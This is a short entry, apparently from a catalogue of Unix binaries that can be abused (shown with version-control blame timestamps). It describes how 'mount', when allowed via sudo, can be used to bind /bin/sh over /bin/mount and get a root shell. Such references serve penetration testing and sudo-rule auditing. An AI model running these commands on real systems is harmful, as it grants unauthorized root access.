2018-07-16 08:00:14 +00:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
sudo-enabled:
|
2018-07-16 11:47:09 +00:00
|
|
|
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
|
2018-07-16 08:00:14 +00:00
|
|
|
code: |
|
2018-07-16 11:47:09 +00:00
|
|
|
sudo mount -o bind /bin/sh /bin/mount
|
2018-07-16 08:00:14 +00:00
|
|
|
sudo mount
|
|
|
|
---
|